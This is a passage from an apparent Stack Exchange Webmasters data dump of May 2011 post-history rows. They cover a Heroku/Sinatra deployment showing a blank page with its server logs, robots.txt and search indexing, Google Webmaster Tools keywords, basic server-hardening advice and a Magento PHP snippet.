bytes=565&#xD;&#xA;2011-05-19T00:34:32+00:00 app[web.1]: 97.83.58.74 - - [18/May/2011 17:34:32] &quot;GET / HTTP/1.1&quot; 200 293 0.0016&#xD;&#xA;2011-05-19T00:34:32+00:00 app[web.1]: 97.83.58.74 - - [18/May/2011 17:34:32] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0011&#xD;&#xA;2011-05-19T00:34:32+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-19T00:34:34+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=4ms bytes=313&#xD;&#xA;2011-05-19T00:34:34+00:00 app[web.1]: 97.83.58.74 - - [18/May/2011 17:34:34] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0007&#xD;&#xA;2011-05-18T18:35:48-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T18:35:51-07:00 heroku[web.1]: State changed from up to down" />
  <row Id="33082" PostHistoryTypeId="1" PostId="14173" RevisionGUID="a28cc670-9e6a-4622-b712-304aa7a82e13" CreationDate="2011-05-21T12:37:27.337" UserId="7715" Text="Hosting a website on Heroku… I know how to, but im running into problems!" />
  <row Id="33083" PostHistoryTypeId="3" PostId="14173" RevisionGUID="a28cc670-9e6a-4622-b712-304aa7a82e13" CreationDate="2011-05-21T12:37:27.337" UserId="7715" Text="&lt;html&gt;&lt;css&gt;&lt;ruby-on-rails&gt;" />
  <row Id="33084" PostHistoryTypeId="17" PostId="14175" RevisionGUID="64608b66-e030-4e2d-acfc-d20756f56bf2" CreationDate="2011-05-21T14:10:04.143" UserId="-1" Comment="from http://stackoverflow.com/questions/6080196/how-to-hide-my-website-from-search-engines-using-robots-txt/6080210#6080210" Text="" />
  <row Id="33085" PostHistoryTypeId="2" PostId="14175" RevisionGUID="c0fb36d3-77ad-4602-81d8-52bbc2afe1ec" CreationDate="2011-05-21T07:07:16.517" UserDisplayName="Nick" Text="Although the `robots.txt` file the *standard* way to signify to search engines which areas of your sites you would like indexed and which you wouldn't, it doesn't *have* to be followed.  &#xD;&#xA;&#xD;&#xA;In the case of the big players, Google, Yahoo, Bing, etc, they do follow the rules.. but some of the smaller players may not and so you may appear in their indexes.&#xD;&#xA;&#xD;&#xA;Also, if your `robots.txt` change is recent a search engine may take time to purge your site from their index." />
  <row Id="33086" PostHistoryTypeId="2" PostId="14174" RevisionGUID="16515cbb-5342-49c7-a78c-acf2781d29a0" CreationDate="2011-05-21T07:01:25.920" UserDisplayName="Kailas Mirgane" Text="I want to hide my website from all search engines for that i write robots.txt in that robots.txt i write code as &#xD;&#xA;User-agent: *&#xD;&#xA;Disallow: /&#xD;&#xA;but still my website is in serchable why?" />
  <row Id="33087" PostHistoryTypeId="1" PostId="14174" RevisionGUID="16515cbb-5342-49c7-a78c-acf2781d29a0" CreationDate="2011-05-21T07:01:25.920" UserDisplayName="Kailas Mirgane" Text="how to hide my website from search engines using robots.txt?" />
  <row Id="33088" PostHistoryTypeId="3" PostId="14174" RevisionGUID="16515cbb-5342-49c7-a78c-acf2781d29a0" CreationDate="2011-05-21T07:01:25.920" UserDisplayName="Kailas Mirgane" Text="&lt;search-engines&gt;" />
  <row Id="33089" PostHistoryTypeId="17" PostId="14174" RevisionGUID="626cc9a7-678d-4ff5-b66b-f9790badae7f" CreationDate="2011-05-21T14:10:04.143" UserId="-1" Comment="from http://stackoverflow.com/questions/6080196/how-to-hide-my-website-from-search-engines-using-robots-txt" Text="" />
  <row Id="33090" PostHistoryTypeId="2" PostId="14176" RevisionGUID="928ec872-3b7a-42b7-8ceb-0c2ec12a5f33" CreationDate="2011-05-21T14:28:56.450" UserId="7718" Text="Sounds like you're paranoid that hackers will hack your server.  As long as you aren't specifically targeted for a hack (extremely unlikely), then you can keep from being hacked by:&#xD;&#xA;&#xD;&#xA; 1. Using strong passwords (and better yet, upgrade to public key crypto for your ssh server as well).&#xD;&#xA; 2. Being aware of all the services that people can access. Disable unneeded ones (i.e. disable an ftp server if you can use sftp)&#xD;&#xA; 3. Keeping everything up-to-date&#xD;&#xA; 4. Evaluating non-static web pages for SQL injections, File Inclusion vulnerabilities (LFI/RFI), and other vulnerabilities.&#xD;&#xA;&#xD;&#xA;As long as you don't leave an obvious hole for somebody to get in through, you'll be fine.  Most of the &quot;hackers&quot; out there who hack into random webservers are looking for the low-hanging fruit." />
  <row Id="33091" PostHistoryTypeId="18" PostId="14173" RevisionGUID="aa355c68-d6e7-4731-9edb-8e02891b7eb9" CreationDate="2011-05-21T15:04:17.417" UserId="1253" Comment="to http://webmasters.stackexchange.com/questions/14135/hosting-a-website-on-heroku-i-know-how-to-but-im-running-into-problems" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33092" PostHistoryTypeId="18" PostId="14135" RevisionGUID="aa355c68-d6e7-4731-9edb-8e02891b7eb9" CreationDate="2011-05-21T15:04:17.417" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/14173/hosting-a-website-on-heroku-i-know-how-to-but-im-running-into-problems" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33093" PostHistoryTypeId="14" PostId="14173" RevisionGUID="25e49651-b672-4a35-92f8-4e5f173faff5" CreationDate="2011-05-21T15:04:17.963" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33094" PostHistoryTypeId="5" PostId="14135" RevisionGUID="8fa76c7f-b06d-46c6-ba2f-37b9312badb6" CreationDate="2011-05-21T15:08:43.640" UserId="1253" Comment="added 9460 characters in body; edited tags" Text="I'm starting to learn more on the back-end scale of programing.&#xD;&#xA;&#xD;&#xA;Recently I started up Heroku for the second or third time. This time I actually installed the Git update to my Mac and installed Heroku in the terminal.&#xD;&#xA;&#xD;&#xA;I wanted to upload a static html site with the sinatra gem. Everything worked out fine inside the terminal, though I added sinatra after I got everything working and the file with the site hooked up to Heroku. In my logs I did see that I was missing the sinatra gem, so I installed it. &#xD;&#xA;&#xD;&#xA;My site contains both the proper `app.rb` and `config.ru` files. &#xD;&#xA;I have nothing showing up online. Just a blank screen! &#xD;&#xA;&#xD;&#xA;Contacting Heroku on this problem has been very difficult. I get a responce every day, and on every day I respond with a question to the answer that didn't help me at all. &#xD;&#xA;&#xD;&#xA;&gt; 2011-05-18T00:25:20+00:00 app[web.1]: 71.198.0.51 - - [17/May/2011 17:25:20] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T00:25:20+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=2ms bytes=313&#xD;&#xA;2011-05-18T00:25:26+00:00 app[web.1]: 71.198.0.51 - - [17/May/2011 17:25:26] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T00:25:26+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=5ms bytes=313&#xD;&#xA;2011-05-17T18:25:51-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-17T18:26:01-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T01:26:01+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T01:26:01+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T01:26:02+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-17T20:12:46-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-17T20:12:47-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T03:12:48+00:00 heroku[web.1]: Starting process with command: `thin -p 40055 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T03:12:49+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T03:12:49+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T03:12:49+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:40055, CTRL+C to stop&#xD;&#xA;2011-05-18T03:12:50+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=9954ms service=6ms bytes=565&#xD;&#xA;2011-05-18T03:12:50+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:12:50] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0012&#xD;&#xA;2011-05-18T03:12:50+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-17T20:12:50-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T03:12:51+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:12:51] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T03:12:51+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=4ms bytes=313&#xD;&#xA;2011-05-18T03:13:05+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=5ms bytes=565&#xD;&#xA;2011-05-18T03:13:05+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:13:05] &quot;GET / HTTP/1.1&quot; 200 293 0.0011&#xD;&#xA;2011-05-18T03:13:05+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=2ms bytes=313&#xD;&#xA;2011-05-18T03:13:05+00:00 app[web.1]: 70.91.206.114 - - [17/May/2011 20:13:05] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0007&#xD;&#xA;2011-05-18T03:57:05+00:00 app[web.1]: 172.18.33.56, 58.96.134.66 - - [17/May/2011 20:57:05] &quot;GET / HTTP/1.1&quot; 200 293 0.0007&#xD;&#xA;2011-05-18T03:57:05+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=4ms bytes=565&#xD;&#xA;2011-05-18T03:57:05+00:00 app[web.1]: 172.18.33.56, 58.96.134.66 - - [17/May/2011 20:57:05] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0007&#xD;&#xA;2011-05-18T03:57:05+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-18T03:57:08+00:00 app[web.1]: 172.18.33.56, 58.96.134.66 - - [17/May/2011 20:57:08] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-17T21:58:27-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T04:58:30+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T04:58:30+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T04:58:30+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-17T21:58:33-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-17T23:11:58-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-17T23:11:58-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T06:12:00+00:00 heroku[web.1]: Starting process with command: `thin -p 40091 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:40091, CTRL+C to stop&#xD;&#xA;2011-05-18T06:12:01+00:00 app[web.1]: 183.97.156.226 - - [17/May/2011 23:12:01] &quot;GET / HTTP/1.1&quot; 200 293 0.0017&#xD;&#xA;2011-05-18T06:12:02+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=3209ms service=5ms bytes=565&#xD;&#xA;2011-05-18T06:12:03+00:00 app[web.1]: 183.97.156.226 - - [17/May/2011 23:12:03] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0019&#xD;&#xA;2011-05-17T23:12:08-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T00:13:13-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T00:13:16-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T07:13:16+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T07:13:16+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T07:13:17+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-18T01:54:21-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-18T01:54:21-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T08:54:23+00:00 heroku[web.1]: Starting process with command: `thin -p 59491 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T08:54:24+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T08:54:24+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T08:54:24+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:59491, CTRL+C to stop&#xD;&#xA;2011-05-18T01:54:28-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=6943ms service=6ms bytes=565&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET / HTTP/1.1&quot; 200 293 0.0018&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0014&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=1ms bytes=313&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=4ms bytes=313&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T08:54:28+00:00 app[web.1]: 62.244.82.72 - - [18/May/2011 01:54:28] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0008&#xD;&#xA;2011-05-18T08:54:28+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=1ms bytes=313&#xD;&#xA;2011-05-18T02:55:23-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T02:55:33-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T09:55:34+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T09:55:34+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T09:55:34+00:00 heroku[web.1]: Process exited&#xD;&#xA;2011-05-18T07:23:10-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-18T14:23:12+00:00 heroku[web.1]: Starting process with command: `thin -p 20560 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T14:23:13+00:00 app[web.1]: &gt;&gt; Thin web server (v1.2.6 codename Crazy Delicious)&#xD;&#xA;2011-05-18T14:23:13+00:00 app[web.1]: &gt;&gt; Maximum connections set to 1024&#xD;&#xA;2011-05-18T14:23:13+00:00 app[web.1]: &gt;&gt; Listening on 0.0.0.0:20560, CTRL+C to stop&#xD;&#xA;2011-05-18T07:23:13-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-18T14:23:14+00:00 app[web.1]: 12.183.19.10 - - [18/May/2011 07:23:14] &quot;GET / HTTP/1.1&quot; 200 293 0.0018&#xD;&#xA;2011-05-18T14:23:14+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=7ms bytes=565&#xD;&#xA;2011-05-18T14:23:14+00:00 app[web.1]: 12.183.19.10 - - [18/May/2011 07:23:14] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0015&#xD;&#xA;2011-05-18T14:23:14+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-18T14:23:14+00:00 app[web.1]: 12.183.19.10 - - [18/May/2011 07:23:14] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0009&#xD;&#xA;2011-05-18T14:23:14+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=2ms bytes=313&#xD;&#xA;2011-05-18T08:24:03-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T08:24:07-07:00 heroku[web.1]: State changed from up to down&#xD;&#xA;2011-05-18T15:24:07+00:00 heroku[web.1]: Stopping process with SIGTERM&#xD;&#xA;2011-05-18T15:24:07+00:00 app[web.1]: &gt;&gt; Stopping ...&#xD;&#xA;2011-05-18T17:34:27-07:00 heroku[web.1]: Unidling&#xD;&#xA;2011-05-18T17:34:28-07:00 heroku[web.1]: State changed from created to starting&#xD;&#xA;2011-05-19T00:34:29+00:00 heroku[web.1]: Starting process with command: `thin -p 57621 -e production -R /home/heroku_rack/heroku.ru start`&#xD;&#xA;2011-05-18T17:34:31-07:00 heroku[web.1]: State changed from starting to up&#xD;&#xA;2011-05-19T00:34:32+00:00 heroku[router]: GET pxlc.heroku.com/ dyno=web.1 queue=0 wait=0ms service=5ms bytes=565&#xD;&#xA;2011-05-19T00:34:32+00:00 app[web.1]: 97.83.58.74 - - [18/May/2011 17:34:32] &quot;GET / HTTP/1.1&quot; 200 293 0.0016&#xD;&#xA;2011-05-19T00:34:32+00:00 app[web.1]: 97.83.58.74 - - [18/May/2011 17:34:32] &quot;GET /style.css HTTP/1.1&quot; 200 - 0.0011&#xD;&#xA;2011-05-19T00:34:32+00:00 heroku[router]: GET pxlc.heroku.com/style.css dyno=web.1 queue=0 wait=0ms service=2ms bytes=269&#xD;&#xA;2011-05-19T00:34:34+00:00 heroku[router]: GET pxlc.heroku.com/favicon.ico dyno=web.1 queue=0 wait=0ms service=4ms bytes=313&#xD;&#xA;2011-05-19T00:34:34+00:00 app[web.1]: 97.83.58.74 - - [18/May/2011 17:34:34] &quot;GET /favicon.ico HTTP/1.1&quot; 404 18 0.0007&#xD;&#xA;2011-05-18T18:35:48-07:00 heroku[web.1]: Idling&#xD;&#xA;2011-05-18T18:35:51-07:00 heroku[web.1]: State changed from up to down" />
  <row Id="33095" PostHistoryTypeId="6" PostId="14135" RevisionGUID="8fa76c7f-b06d-46c6-ba2f-37b9312badb6" CreationDate="2011-05-21T15:08:43.640" UserId="1253" Comment="added 9460 characters in body; edited tags" Text="&lt;ruby-on-rails&gt;&lt;git&gt;" />
  <row Id="33096" PostHistoryTypeId="25" PostId="14174" RevisionGUID="b7b3f5d4-8647-4e55-b430-0af5e5246dc7" CreationDate="2011-05-21T15:12:29.213" Comment="http://twitter.com/#!/StackWebmasters/status/71956532899753984" />
  <row Id="33097" PostHistoryTypeId="5" PostId="12019" RevisionGUID="2ff27800-bbed-4f94-90b4-e7a5bce3a830" CreationDate="2011-05-21T15:12:36.273" UserId="1253" Comment="improved title, fixed question" Text="When I search on Google for &quot;pollackstorch&quot; I get an invitation to the administrator rather than the page itself. When I search on Bing or AltaVista I get the page itself.  How can I get Google to return the page itself like the others do?&#xD;&#xA;" />
  <row Id="33098" PostHistoryTypeId="4" PostId="12019" RevisionGUID="2ff27800-bbed-4f94-90b4-e7a5bce3a830" CreationDate="2011-05-21T15:12:36.273" UserId="1253" Comment="improved title, fixed question" Text="Page doesn't show up in Google searches " />
  <row Id="33099" PostHistoryTypeId="6" PostId="12019" RevisionGUID="2ff27800-bbed-4f94-90b4-e7a5bce3a830" CreationDate="2011-05-21T15:12:36.273" UserId="1253" Comment="improved title, fixed question" Text="&lt;google&gt;" />
  <row Id="33100" PostHistoryTypeId="5" PostId="14174" RevisionGUID="b4505c00-0588-448c-9e17-4d414f765165" CreationDate="2011-05-21T15:16:07.300" UserId="1253" Comment="modified tags, formatted code" Text="I want to hide my website from all search engines for that i write robots.txt in that robots.txt i write code as &#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;But still my website is in serchable why?" />
  <row Id="33101" PostHistoryTypeId="4" PostId="14174" RevisionGUID="b4505c00-0588-448c-9e17-4d414f765165" CreationDate="2011-05-21T15:16:07.300" UserId="1253" Comment="modified tags, formatted code" Text="How to hide my website from search engines using robots.txt?" />
  <row Id="33102" PostHistoryTypeId="6" PostId="14174" RevisionGUID="b4505c00-0588-448c-9e17-4d414f765165" CreationDate="2011-05-21T15:16:07.300" UserId="1253" Comment="modified tags, formatted code" Text="&lt;search-engines&gt;&lt;robots.txt&gt;" />
  <row Id="33103" PostHistoryTypeId="5" PostId="14174" RevisionGUID="d7fdb08b-719f-4c7d-8ab2-65dfcbf2fb7a" CreationDate="2011-05-21T15:17:39.623" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Robots denied by domain is still listed in search results](http://webmasters.stackexchange.com/questions/11700/robots-denied-by-domain-is-still-listed-in-search-results)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I want to hide my website from all search engines for that i write robots.txt in that robots.txt i write code as &#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;But still my website is in serchable why?" />
  <row Id="33104" PostHistoryTypeId="10" PostId="14174" RevisionGUID="57f84739-3a42-4653-afed-914f85aed09e" CreationDate="2011-05-21T15:17:39.030" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33105" PostHistoryTypeId="10" PostId="14168" RevisionGUID="2d5f45dd-a705-4d8c-afdc-a675cc99cc7d" CreationDate="2011-05-21T15:18:40.837" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33106" PostHistoryTypeId="2" PostId="14177" RevisionGUID="a422035d-4d82-49bc-9f4d-3ebd8bc656ca" CreationDate="2011-05-21T15:28:38.843" UserId="3389" Text="I have a series of photos I was asked to publish on a website. Website is on the free hosting  (plain HTML and ftp access). Is there any way (javascript framework or anything) to quickly build a gallery, without creating pages manually for each photo category? Or, probably, an offline tool to generate html-structure for this." />
  <row Id="33107" PostHistoryTypeId="1" PostId="14177" RevisionGUID="a422035d-4d82-49bc-9f4d-3ebd8bc656ca" CreationDate="2011-05-21T15:28:38.843" UserId="3389" Text="Publishing series of photos on non-dynamic website." />
  <row Id="33108" PostHistoryTypeId="3" PostId="14177" RevisionGUID="a422035d-4d82-49bc-9f4d-3ebd8bc656ca" CreationDate="2011-05-21T15:28:38.843" UserId="3389" Text="&lt;photo-gallery&gt;" />
  <row Id="33109" PostHistoryTypeId="2" PostId="14178" RevisionGUID="cde18e44-96ad-4c3e-b649-c90816d61d6a" CreationDate="2011-05-21T15:47:52.340" UserId="2777" Text="I've checked the keywords list on the Google Webmasters Tools account for my website (which is a message board), and I noticed that the top keywords are things such as &quot;topic&quot; and &quot;forum&quot;. I'm guessing that is because those are the words which appear the most within the homepage.&#xD;&#xA;&#xD;&#xA;The question is, will this impact search results? I'm guessing yes. If so, can this be solved, and how? I already searched on Google and on SEO forums without any luck. (When it comes to SEO, most info looks like bogus to me. I hope I'm wrong, but meanwhile I'll ask here since it seems a reliable place.)" />
  <row Id="33110" PostHistoryTypeId="1" PostId="14178" RevisionGUID="cde18e44-96ad-4c3e-b649-c90816d61d6a" CreationDate="2011-05-21T15:47:52.340" UserId="2777" Text="How do keywords in Google Webmasters affect search results?" />
  <row Id="33111" PostHistoryTypeId="3" PostId="14178" RevisionGUID="cde18e44-96ad-4c3e-b649-c90816d61d6a" CreationDate="2011-05-21T15:47:52.340" UserId="2777" Text="&lt;seo&gt;&lt;keywords&gt;" />
  <row Id="33112" PostHistoryTypeId="2" PostId="14179" RevisionGUID="e83399eb-a111-4b41-9581-5c4cca98b070" CreationDate="2011-05-21T15:59:25.747" UserId="1253" Text="No. That is just a report of the keywords that are most prominent in your website. It's there to help you understand how Google sees your site. &#xD;&#xA;&#xD;&#xA;Those keywords being prominent in your website will result in your website ranking better for those words. If you don't want those words to be the most prominent to search engines, and want other keywords to be so, then you need to rewrite your content in a way that emphasizes the words you want to be more prominent." />
  <row Id="33113" PostHistoryTypeId="5" PostId="14178" RevisionGUID="dd94f1e3-649b-47af-9461-ae42e9c77f60" CreationDate="2011-05-21T16:00:05.887" UserId="1253" Comment="modified tags, title" Text="I've checked the keywords list on the Google Webmasters Tools account for my website (which is a message board), and I noticed that the top keywords are things such as &quot;topic&quot; and &quot;forum&quot;. I'm guessing that is because those are the words which appear the most within the homepage.&#xD;&#xA;&#xD;&#xA;The question is, will this impact search results? I'm guessing yes. If so, can this be solved, and how? I already searched on Google and on SEO forums without any luck. (When it comes to SEO, most info looks like bogus to me. I hope I'm wrong, but meanwhile I'll ask here since it seems a reliable place.) " />
  <row Id="33114" PostHistoryTypeId="4" PostId="14178" RevisionGUID="dd94f1e3-649b-47af-9461-ae42e9c77f60" CreationDate="2011-05-21T16:00:05.887" UserId="1253" Comment="modified tags, title" Text="How do keywords in Google Webmaster Tools affect search results?" />
  <row Id="33115" PostHistoryTypeId="6" PostId="14178" RevisionGUID="dd94f1e3-649b-47af-9461-ae42e9c77f60" CreationDate="2011-05-21T16:00:05.887" UserId="1253" Comment="modified tags, title" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;" />
  <row Id="33116" PostHistoryTypeId="2" PostId="14180" RevisionGUID="3b073c6d-33fe-4f97-973b-3d1a311df81d" CreationDate="2011-05-21T16:08:47.813" UserId="6064" Text="Are there any search engines that do not care about robots.txt?" />
  <row Id="33117" PostHistoryTypeId="1" PostId="14180" RevisionGUID="3b073c6d-33fe-4f97-973b-3d1a311df81d" CreationDate="2011-05-21T16:08:47.813" UserId="6064" Text="Search engines that do _not_ respect robots.txt?" />
  <row Id="33118" PostHistoryTypeId="3" PostId="14180" RevisionGUID="3b073c6d-33fe-4f97-973b-3d1a311df81d" CreationDate="2011-05-21T16:08:47.813" UserId="6064" Text="&lt;search-engines&gt;&lt;robots.txt&gt;" />
  <row Id="33119" PostHistoryTypeId="5" PostId="14178" RevisionGUID="1a652bbb-6b5a-44a3-84b4-d3d26198b87a" CreationDate="2011-05-21T16:19:16.387" UserId="2777" Comment="deleted 1 characters in body" Text="I've checked the keywords list on the Google Webmaster Tools account for my website (which is a message board), and I noticed that the top keywords are things such as &quot;topic&quot; and &quot;forum&quot;. I'm guessing that is because those are the words which appear the most within the homepage.&#xD;&#xA;&#xD;&#xA;The question is, will this impact search results? I'm guessing yes. If so, can this be solved, and how? I already searched on Google and on SEO forums without any luck. (When it comes to SEO, most info looks like bogus to me. I hope I'm wrong, but meanwhile I'll ask here since it seems a reliable place.) " />
  <row Id="33120" PostHistoryTypeId="2" PostId="14181" RevisionGUID="88dd641d-b81b-4693-8a3a-be73212fb158" CreationDate="2011-05-21T16:26:55.257" UserId="1253" Text="All of the major, and minor, search engines respect robots.txt. Generally speaking only robots with bad intentions, or are poorly written, ignore robots.txt." />
  <row Id="33121" PostHistoryTypeId="2" PostId="14182" RevisionGUID="8c3ea688-8643-43d9-b40f-4136c53d24df" CreationDate="2011-05-21T16:34:35.447" UserId="7198" Text="If you're able to upload your mp3 sample files to a separate folder called 'mp3', it looks like you could use the &lt;a href=&quot;http://docs.magentocommerce.com/Mage_Downloadable/Mage_Downloadable_Model_Sample.html#getSampleDir&quot;&gt;getSampleDir()&lt;/a&gt; function to determine if the samples are in the mp3 folder and display the preview accordingly:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    if ($this-&gt;hasSamples()):&#xD;&#xA;        $_samples = $this-&gt;getSamples();&#xD;&#xA;&#xD;&#xA;        foreach ($_samples as $_sample):        &#xD;&#xA;            $sampleDirectory = $this-&gt;getSampleDir($_sample);&#xD;&#xA;            $sampleFile = $this-&gt;getSampleUrl($_sample);&#xD;&#xA;&#xD;&#xA;            if ($sampleDirectory == &quot;mp3&quot;):&#xD;&#xA;                //show the mp3 player&#xD;&#xA;            else:&#xD;&#xA;                //show a link to the file&#xD;&#xA;            endif;&#xD;&#xA;             &#xD;&#xA;        endforeach;&#xD;&#xA;&#xD;&#xA;    endif;&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;The code above is untested (I've never used Magento), but it might prove useful as a starting point." />
